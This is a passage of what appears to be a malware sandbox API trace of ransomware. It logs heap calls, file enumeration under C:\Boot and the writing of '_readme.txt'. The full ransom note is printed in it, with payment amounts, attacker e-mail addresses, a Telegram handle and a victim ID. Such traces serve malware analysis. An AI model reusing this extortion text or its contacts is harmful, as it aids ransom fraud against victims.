\"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.303] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.303] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.304] CloseHandle (hObject=0x5c0) returned 1 [0059.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.304] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.304] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.304] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.304] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.304] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.305] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.305] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 